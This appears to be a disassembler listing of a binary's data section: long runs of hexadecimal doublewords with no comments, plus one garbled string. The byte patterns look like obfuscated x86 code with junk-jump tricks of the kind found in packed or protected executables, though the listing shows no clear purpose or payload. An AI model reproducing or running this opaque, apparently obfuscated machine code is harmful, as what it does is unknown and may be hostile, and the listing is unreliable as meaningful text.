		dd 0BD299D00h, 0EF7D573Ah, 1B1CDCDDh, 0A522B05Ch, 5FD4106Ch
		dd 0B8ADA7BBh, 6A6109h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 3F0621C3h, 178F5A80h, 28B0F56h
		dd 0B3000000h, 85C75BB6h, 7E422B9h, 3, 20E5BD89h, 0BD8307E4h
		dd 7E7F8A5h, 2C840F00h,	89000000h, 0E4332DB5h, 3CE907h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 200853C3h, 50F97D36h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 9868AEC3h
		dd 7E381D7h, 891971BCh,	0E416518Dh, 0B9BD8307h,	307E422h
		dd 516850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 14460FC3h, 362F96F9h, 816603B2h
		dd 837FD3F7h, 0E7F8A5BDh, 840F0007h, 4E0h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 9CC35040h, 3B500863h
		dd 0E1B5893Dh, 0FF07E402h, 0E7F8A5B5h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 0EC9DEE09h, 0FD8BF0Fh, 18Dh,	95FFF800h, 7E4044Dh, 86EB8166h
		dd 0F11BB5Ch, 0B58B2F32h, 7E7F899h, 6C7DE8Bh, 10001h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 85C35545h, 66FF56CEh
		dd 0F96FE8Bh, 188Ch, 13E900h, 22050000h, 836C528h, 8B96BDADh
		dd 98D1CF35h, 45E053F6h, 7E8504Ch, 3E000000h, 0BC1859CCh
		dd 4AB3EEBAh, 6A965Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 40C24BC3h, 0FF0A5F1Ch
		dd 0E7F8A5B5h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 11454F67h, 59CAAF63h
		dd 13E8E17Eh, 3000000h,	12A73089h, 0F734DFE8h, 310934C9h
		dd 9E7BB38Ch, 0D98B6C5Eh, 0F88B665Fh, 2A0995FFh, 6A07E4h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 7CEA7CC3h, 8D29B384h, 7E413D1h, 0F899B58Bh, 6A07E7h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 20C3E1C3h, 96112EDBh, 858B17D7h, 7E43165h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 6CC35242h, 0D8E90424h
		dd 0F0D381B6h, 0E9688B25h, 6, 60AAC9A5h, 868985A3h, 0C4h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 38C35747h
		dd 0E06846DBh, 0D552200h, 68A0Fh, 0C3810000h, 4BAEBE63h
		dd 2D9B529h, 958B07E4h,	7E41B71h, 0BD92C381h, 0C283337Fh
		dd 0E5BD8904h, 8907E41Dh, 6A2050h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 1883C0C3h, 8DAFB4B6h
		dd 0E80CD485h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 994116D1h, 8B66CE5Ch
		dd 0B88689FAh, 31000000h, 0E406D1B5h, 6A006A07h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 1C31C357h, 60EE825Eh, 95892947h, 7E4141Dh, 0F8A5B5FFh
		dd 6A07E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 8589B5C3h, 7E41441h, 31AD95FFh, 0BF6607E4h
		dd 6650BAB4h, 89CDCBBBh, 6A2434h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0BBEB42C3h, 528FEF3Fh
		dd 2B48ACBBh, 0A5B5FF39h, 6A07E7F8h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0C492C351h
		dd 0EE86090h, 0C9000000h, 95474C76h, 4CF16F78h,	0E2F58A48h
		dd 1FBE66EEh, 895059E0h, 0E40219B5h, 0FF615907h, 0E41B1195h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0B1329A3Dh, 25159529h, 83F807E4h, 0E40DF9BDh
		dd 840F0007h, 59h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0C9C35545h, 2F4A9B64h, 0F885D1Ah, 681h
		dd 659D3300h, 9607E41Ch, 2840BB66h, 82B36050h, 9E960h
		dd 0ECF50000h, 34A9752h, 50169075h, 5A310F52h, 96616158h
		dd 3860Fh, 0C3800000h, 0A5B5FF05h, 6A07E7F8h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 3276C352h, 0D8AC7415h, 0D98BBDA3h, 27D95FFh,	6A07E4h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 8B6685C3h, 0A5B5FFD9h, 6A07E7F8h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 45B7C351h
		dd 0E6D8B949h, 0B925BB99h, 97195FFh, 6A07E4h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 9C0B6EC3h
		dd 0BBF47F6Bh, 1A0BC88h, 0A21BD83h, 0F0207E4h, 5084h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 8BD98B0Ch, 0E41EB585h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0BD8BD2F6h
		dd 7E412C1h, 2B0000C6h,	0E414BD9Dh, 7185C707h, 7E426h
		dd 0BF000000h, 531DD13Dh, 0FFF1B9E9h, 8D9D8BFFh, 8B07E412h
		dd 0E423A9BDh, 66C18B07h, 8BE36DBFh, 0E400CD9Dh, 85858D07h
		dd 0F07E40Dh, 83h, 90509000h, 31CD8589h, 6A07E4h, 237DBD2Bh
		dd 0EE907E4h, 2F000000h, 0A7D505F3h, 0DC642C61h, 1A00A8D5h
		dd 8B006AE8h, 0E4332DBDh, 30858D07h, 6A07E930h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 195C352h, 816A37F5h,	0B7049C3h, 5C0837Ah, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0D8C35141h, 4D9D239Eh
		dd 8907E41Ch, 0E4272D8Dh, 66509007h, 9022B8BBh,	168E0Fh
		dd 11E90000h, 82000000h, 72E90ED4h, 0AF9CAF85h,	3844C0Dh
		dd 71EF014Fh, 9E8h, 0BEB36100h,	0E09FA3F2h, 14E94BD1h
		dd 0AF000000h, 0AED53236h, 20F3DCDAh, 916E136Bh, 0B745AD00h
		dd 5FB0370Bh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 1A639C3h, 5199D8Bh, 6A07E4h, 0FF50D780h
		dd 0E4247195h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0E979CACFh, 0Fh, 11EF2123h
		dd 6ACCE1E5h, 0EBA4F09Dh, 8D14DC55h, 0E7D64B8Dh, 5E907h
		dd 782E0000h, 0FFE854DEh, 56006AD1h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0AA6C173Bh
		dd 0FFB70F15h, 2015BD83h, 0F0107E4h, 5E85h, 4D950100h
		dd 2907E41Dh, 0E4264DBDh, 66026A07h, 0A169C381h, 7E890h
		dd 219A0000h, 494357C0h, 0B519BB9Fh, 505F236Ah,	6A90DA8Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 66FEC353h, 0CF555421h, 0AD95FFF1h, 0F07E431h
		dd 68Dh, 0A19D8B00h, 0E907E40Fh, 0D82h,	0E8h, 0ED815D00h
		dd 7E9303Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	0EAC35747h, 0C99D8B7Dh,	8B07E422h, 0E42ED9BDh
		dd 0E1858D07h, 0E907E7C6h, 10h,	0AEC082F0h, 60B7341Fh
		dd 64196BF6h, 31A8ECABh, 14E86050h, 0E5000000h,	0C70BA7BFh
		dd 1F80EA18h, 0B24BADD6h, 0FCA89146h, 66524B0Dh, 0E858D18Bh
		dd 0Ch,	84C168BDh, 9F4E8DE6h, 9B7CAFE5h, 6158B6B2h, 31240489h
		dd 0E425899Dh, 35FF6407h, 0
		dd 27B1BD01h, 896407E4h, 25h, 14E900h, 0CD060000h, 47105587h
		dd 3AE37819h, 0AD59BB3Dh, 0CCA54284h, 85FF946Eh, 7E420B9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0BFC35141h
		dd 85250FEFh, 4E7B358h,	6AD88B02h, 0C880FFFh, 0F000000h
		dd 683h, 4D9D8B00h, 0FF07E422h,	0E42291B5h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0E235E4A9h, 95FFCCB7h, 7E4304Dh, 119E9h, 99D8B00h, 0B007E416h
		dd 4DB58900h, 0F07E415h, 70E6F9BFh, 23899D23h, 71E407E4h
		dd 613CD88Bh, 0F4830Fh,	0BD8B0000h, 7E42349h, 6830Fh, 9D890000h
		dd 7E407ADh, 60C8B60Fh,	7CD858Bh, 5E907E4h, 0CE000000h
		dd 39130CDBh, 6BA61h, 0FE8B0000h, 8589C18Bh, 7E4163Dh
		dd 6604E8C1h, 971CDB81h, 2BE2F766h, 9D8957C8h, 7E42DF1h
		dd 89D18B5Bh, 0E42B999Dh, 9CE907h, 89510000h, 0E412C1B5h
		dd 858B5F07h, 5F4C4C44h, 6D5BD0Bh, 816607E4h, 8329E2DFh
		dd 816607C0h, 0BF5460F3h, 79059557h, 6600C083h,	208CB81h
		dd 830FD03Bh, 1Bh, 0E9FABF0Fh, 5Eh, 7E8h, 0BC13E100h, 938F1667h
		dd 186D9D09h, 8B5F07E4h, 0FFFFFF8Dh, 13E9FFh, 0E17A0000h
		dd 1A1279DBh, 955FADE2h, 6ACD3BC0h, 0E3DF2D14h,	1E18353h
		dd 24840Fh, 9D890000h, 7E42D89h, 0FFFFA583h, 23FEFFFFh
		dd 0E418A99Dh, 44958907h, 8B5F4C4Ch, 0E40345BDh, 0E907h
		dd 0B58D0000h, 7E8A95Ah, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 16h, 39C35545h, 0E9574250h, 12h, 1E419516h
		dd 8B205336h, 83A2994Fh, 1BE59302h, 6A5B97A7h, 0C5BD8B00h
		dd 0FF07E42Dh, 0E40E4195h, 0B5895707h, 7E4185Dh, 0FA5B95Bh
		dd 8B560000h, 0E40D899Dh, 0E1835F07h, 6AFCFCh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0EF8015C3h, 85895798h, 7E42C65h, 0B85Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 8321EFC3h, 0EE98Bh, 3D680000h, 6447F591h, 8338109h
		dd 0AAEABA00h, 8B66D22Bh, 0C233ADF9h, 0D003E8D1h, 7504E983h
		dd 52006AF4h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 341B3413h, 0FF75E063h, 6A76B7h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0A54AE9C3h, 3D291DC4h, 880D4168h, 0B3000000h, 71958B5Ah
		dd 8B07E41Bh, 0E42DA18Dh, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 71BDD6AFh
		dd 0F688E060h, 8A530FC3h, 870F5BDAh, 3,	5013CB80h, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 318D2958h,	6A07E414h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 8A15C355h, 83D1BE30h, 0E40611BDh,	840F0007h
		dd 61h,	7DD78166h, 0B877h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0F3992EC3h
		dd 8D492FCFh, 0E44FE78Dh, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0D0F9B697h
		dd 23F330F5h, 0E41DDDBDh, 8BE1FF07h, 0E42679BDh, 0B9BD8307h
		dd 7E422h, 4AB840Fh, 0BD830000h, 7E422B9h, 0B9840F01h
		dd 83000004h, 0E422B9BDh, 860F0307h, 476h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D9C35141h, 0D59723A0h
		dd 1AB9BD01h, 8D0F07E4h, 16h, 0AE8h, 49069300h,	0F7E0D5E4h
		dd 0FF7FD25h, 87h, 6A605B00h, 3E85300h,	20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0ACC6C353h,	54464F12h
		dd 662B1750h, 5578DF81h, 6AD98C66h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0EE3EC357h
		dd 55BF66C4h, 4E18007h,	8E8h, 0B0F9D600h, 12F6C979h, 0C98D31C1h
		dd 5F07E40Dh, 840FC90Ah, 1E0h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0CFC35545h,	9382B582h, 77FC6A65h
		dd 128D0Fh, 0E9600000h,	5, 740B0635h, 890F0Ah, 61000000h
		dd 651858Bh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0D3EA1DC3h, 8B22B3A5h, 0E4025DBDh
		dd 29853307h, 6A07E420h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0BBFCC355h,	2F8EC20Eh
		dd 0C143BB90h, 50506120h, 0F525051h, 5F585A31h,	6A905Fh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 947720C3h, 4C7DE24Ah, 815CBF14h, 0F9644DDFh,	6A006A63h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 2F1C350h,	0DE9A5A9h, 0D1000000h, 2E05A293h
		dd 0A109449Bh, 98B052E7h, 4E8h,	1F03FF00h, 0D88B6600h
		dd 0EE950h, 75E30000h, 45B81A70h, 10C97BD4h, 58353A2Bh
		dd 424448Bh, 6569BB66h,	5F53008Bh, 4244489h, 0E8DF8B60h
		dd 11h,	82A2BEE3h, 322CA78Ah, 0CC7AEBC3h, 0F2358D5h, 12E909h
		dd 972F0000h, 6BC56701h, 6F160786h, 0EBB7A50Fh,	1D0FD75Eh
		dd 6A586158h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 9553C357h, 4834821Ch, 76BBB462h
		dd 1F59D89h, 95FF07E4h,	7E42D99h, 1FFD8D09h, 8E0F07E4h
		dd 1, 0A58589F5h, 6A07E7F8h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 3AD8C352h, 7A235A4h
		dd 99D9D29h, 816007E4h,	0E071BED0h, 72E96165h, 57000001h
		dd 5BD98B66h, 0F89D858Bh, 6A07E7h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 8B80E7C3h, 0E415BD9Dh
		dd 1800C707h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 670EC350h, 31EC7788h
		dd 0E41B899Dh, 0A1B58B07h, 8B07E7F8h, 1991BFFBh, 858B514Eh
		dd 7E40099h, 1A8D0FF5h,	0E8000000h, 0Eh, 32CEE992h, 0FA121DDh
		dd 803EBE47h, 8501B723h, 7E40085h, 6A06895Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 1FC1C355h, 832AD321h, 858B074Ah, 7E40651h, 89FABF0Fh
		dd 50960446h, 0BB665651h, 5B5FD1DFh, 5E996h, 26D90000h
		dd 0FF339C73h, 0E7F89DB5h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 400CDABEh
		dd 0A2445E86h, 0BE95400h, 3F000000h, 0F8748110h, 7C8FB9E6h
		dd 286887FBh, 0BF109D65h, 5F4A2D15h, 0D7243481h, 0F108266h
		dd 589h, 3AA4BF00h, 858D7A48h, 7E7F8A5h, 50F88B90h, 6A90D98Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 21CAC353h, 95FF3310h, 7E42D99h, 10E9h, 9D926500h
		dd 6290A168h, 1DE411ECh, 20060809h, 9D8B6184h, 7E431E9h
		dd 22B985C7h, 307E4h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h
		dd 160424h, 51410000h, 0B92CC4C3h, 4391C9BFh, 83E6B346h
		dd 0E7F8A5BDh, 840F0007h, 36h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0C0C35141h,	0FB94F673h, 0BC477DBFh
		dd 0D9BD8B5Bh, 0E907E41Dh, 21h,	1A6DB589h, 305007E4h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0FF88BC0h
		dd 1782h, 11890F00h, 0E9000000h, 0Ch, 424D3A13h, 0EFCE7C54h
		dd 10EA88A4h, 9E9h, 0F128DE00h,	9B408D7h, 0BD83FDB1h, 7E422B9h
		dd 0B3850F03h, 6A000003h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0A26AC356h,	0CB1D1EB6h
		dd 8B53CE13h, 0BD835BDFh, 7E7F8A5h, 7F840F00h, 6A000003h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 8C5BC351h, 0F3D29A5Dh, 14E97DDEh,	1B000000h
		dd 0DCF92AE1h, 939133D8h, 27789D62h, 8D7B58BDh,	0FF1AFB11h
		dd 0E7F8A5B5h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0A4411B4Fh, 8B66D4EAh
		dd 4D95FFDAh, 8B07E404h, 0E7F899B5h, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 61755AE6h
		dd 3B13E632h, 85314996h, 7E41F49h, 106C7h, 6A0001h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0A7BD84C3h, 0BB661819h, 669615C7h, 50C2D8BFh, 0D6EF8196h
		dd 666B35A5h, 5317DF81h, 0F8A5B5FFh, 816607E7h,	0FF364ADBh
		dd 0E42A0995h, 8BF98B07h, 0E7F899B5h, 53006A07h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 0E16F68EBh, 0BC2E8C36h, 3771BF66h, 3165858Bh, 89FC07E4h
		dd 0C486h, 0AD9D8900h, 8B07E405h, 0E41B7195h, 1D890F07h
		dd 0F000000h, 178Ah, 12E900h, 63DF0000h, 0C193FE1Dh, 574B303Dh
		dd 4CA8C124h, 43F36D51h, 8904C283h, 6A2050h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0DE3673C3h
		dd 9A1F944Ah, 0CD4858Dh, 0F78107E8h, 2D74FF29h,	0B88689h
		dd 0B70F0000h, 6A006ADFh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 89E8C352h, 0E41C1DBDh
		dd 0A5B5FF07h, 0E907E7F8h, 0Ah,	7BC33F5h, 0B9E1A83Ch, 95FF1480h
		dd 7E431ADh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	0E1C35343h, 6840Fh, 8D090000h, 7E424E1h, 1FF9BD89h
		dd 0F5007E4h, 0B81h, 6E900h, 47960000h,	0D0F7A54Fh, 31243489h
		dd 0E431B195h, 14E95307h, 0DD000000h, 4D70DE3Ch, 4D371E90h
		dd 0A7C15D7Dh, 308C602Dh, 5FC60CC0h, 0F8A5B5FFh, 95FF07E7h
		dd 7E41B11h, 83F98B66h,	0E40DF9BDh, 840F0007h, 49h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 5C35242h, 302644D2h
		dd 19850Fh, 14E90000h, 7F000000h, 0DD9A16C8h, 5E332F59h
		dd 0F109F4EFh, 84D245C6h, 9618DC39h, 8FBB6650h,	0F95696E1h
		dd 0A5B5FF5Bh, 6A07E7F8h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0FFFAC355h,	0E4027D95h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 39B54323h, 7F84B43h, 0F9BD31E8h,	0FF07E41Dh
		dd 0E7F8A5B5h, 8890F07h, 56000000h, 830Fh, 0FF5B0000h
		dd 0E4097195h, 6C5ABF07h, 0B5892C81h, 7E42239h,	0A21BD83h
		dd 0F0207E4h, 5184h, 0A98D0100h, 8B07E405h, 0E41EB585h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 13E839E3h, 0DC000000h, 1021CA87h, 0BA936933h
		dd 18FB1F3Bh, 0AA6B09BEh, 8D899E3Ah, 7E406A1h, 0C65Bh
		dd 6319589h, 85C707E4h,	7E42671h, 0
		dd 6919D29h, 0B8E907E4h, 6AFFFFF3h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0D089C356h
		dd 75F652A5h, 0FE9h, 79803400h,	796A9079h, 77BAD763h, 0B2D9A4AEh
		dd 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 858D3AC3h, 7E40D85h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0CCC35242h,	8AA3AF12h, 0BB66505Eh
		dd 489A14Bh, 51006A24h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 6AB306h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 16C35646h, 0EB53CF47h, 3006AAAh
		dd 0E41FBD9Dh, 0D3858D07h, 6A07E93Fh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0D0F4C352h
		dd 0C176F426h, 6DBD8B8Ah, 8307E421h, 526005C0h,	615B03B5h
		dd 0F343BB90h, 90507B8Fh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0BC35040h, 0C7816677h, 9D8B0FEFh, 7E40EF1h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0F2E6B3C3h, 8BC56DFBh, 0E40D699Dh, 6A006A07h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 514EC350h, 399D01F8h, 0FF07E401h,	0E4247195h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 8D8D3115h, 7E7D64Bh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 63C35646h, 6A1DF768h, 0B3DE9184h
		dd 1B999D89h, 0D1FF07E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 62C35747h, 638C019Ah,	26E9B589h, 0BF6607E4h
		dd 0BD83C4D2h, 7E42015h, 63850F01h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 7DA0C355h, 0F9B9D8B2h, 0DA8ADE8Bh, 9D03026Ah, 7E40F7Dh
		dd 89DE8A50h, 0BD8B2404h, 7E40E69h, 31AD95FFh, 6A07E4h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 8060ABC3h, 0C48036CCh, 29E96199h, 0E800000Dh, 0
aBa?sBEb6AxFNes	db ']νέ?ι',7,'ίE‘&6',0Bh,'•*δ',7,'…αΖη',7,'ι',8,0
		dd 489A0000h, 0B964B798h, 0E990E4ADh, 0Ch, 0AF7510D3h
		dd 0C93A870Ch, 20F2BDB1h, 8B666050h, 74AB8FBh, 9061571Eh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0B3C35141h
		dd 603A8CE2h, 64ACFBD3h, 35FFh,	64F90000h, 2589h, 8D890000h
		dd 7E425E9h, 2F95B589h,	85FF07E4h, 7E420B9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0C2C35343h, 0EFA82AD6h
		dd 6195899Eh, 6A07E41Ch, 0E9BD8BFFh, 0FF07E41Fh, 0E41D5DB5h
		dd 35BD8B07h, 0FF07E400h, 0E4304D95h, 131E907h,	0BD8B0000h
		dd 7E4185Dh, 8B6600B0h,	0E970E6DAh, 9, 6AAD0FE7h, 10238B74h
		dd 8971E425h, 0E42A0595h, 0F613C07h, 10683h, 0DE900h, 0BE9B0000h
		dd 78F4402Ah, 4322EE34h, 9A722AAh, 0E401F59Dh, 0C8B60F07h
		dd 0E4DB589h, 0BAF907E4h, 6, 6E9h, 0BEF7F300h, 8B3244EEh
		dd 0E8CF80C1h, 0E904E8C1h, 9, 0A33BEE3Fh, 20698E36h, 0E2F766C1h
		dd 0C82B5F50h, 890Fh, 0CB30000h, 11E9D18Bh, 52000000h
		dd 17FEB9C7h, 43F847F9h, 98C174B8h, 92FA3006h, 92E9h, 0DE8B6600h
		dd 4C50858Bh, 8B664755h, 7C083FAh, 0D880Fh, 89600000h
		dd 0E401F585h, 0AD4BBB07h, 96145FDh, 0E420E9B5h, 0C08307h
		dd 2FDDBD89h, 0D03B07E4h, 16830Fh, 9D8B0000h, 7E403B1h
		dd 1A4DB589h, 48E907E4h, 66000000h, 0DE60F381h,	0FFFF8D8Bh
		dd 0BE9FFFFh, 0B6000000h, 0EDCC923Ah, 0A3F3071h, 85896A83h
		dd 7E431CDh, 0F01E183h,	1E84h, 0FFA58300h, 0FEFFFFFFh
		dd 66FAB70Fh, 0AF82EF81h, 4C509589h, 0BF664755h, 0E92137h
		dd 8D000000h, 0E8B8FFB5h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 33562A1Ch
		dd 5EE37C57h, 9D8BE41Fh, 7E41F49h, 0BB66F98Bh, 6AA735h
		dd 0F5FA8B66h, 0E4195FFh, 6A07E4h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0BDA5FDC3h, 0B7E7805Eh
		dd 0EE9h, 2D486500h, 50B09A8Bh,	345F8673h, 0B993F877h
		dd 1015h, 138A0Fh, 840F0000h, 0Dh, 8E9h, 373F5300h, 8DEAEF34h
		dd 0DA8B660Ah, 6AFCE183h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0FBBDC352h,	0DC24C466h
		dd 0FC188F95h, 0CE9h, 41127600h, 23A6FBFDh, 585CC37Dh
		dd 6AFC80h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0C1AC3h, 74CD759Eh, 9D8B3904h, 7E41CA9h
		dd 68F0Fh, 8D310000h, 7E42D95h,	0B8h, 90BF6600h, 0AE8E4h
		dd 57260000h, 0FAD10159h, 680B3A39h, 165D9D2Bh,	0BA5F07E4h
		dd 0
		dd 0C233ADF5h, 0D003E8D1h, 7504E983h, 499D01F4h, 6607E431h
		dd 880DF88Bh, 66000000h, 4639CB81h, 1B71958Bh, 6A07E4h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 8B9D5EC3h, 0E422459Dh, 0A18D8B07h, 0F07E42Dh, 68Ah
		dd 0BD9D8900h, 5007E42Eh, 188BC28Bh, 188BC103h,	0E8D1C18Bh
		dd 188BC203h, 0F3F78158h, 0F6584A4h, 0BD83DFB7h, 7E40611h
		dd 93840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 897AC351h, 0E42D3595h
		dd 0B807h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 6E9FF1C3h, 7DED20A5h, 9D8B26BDh
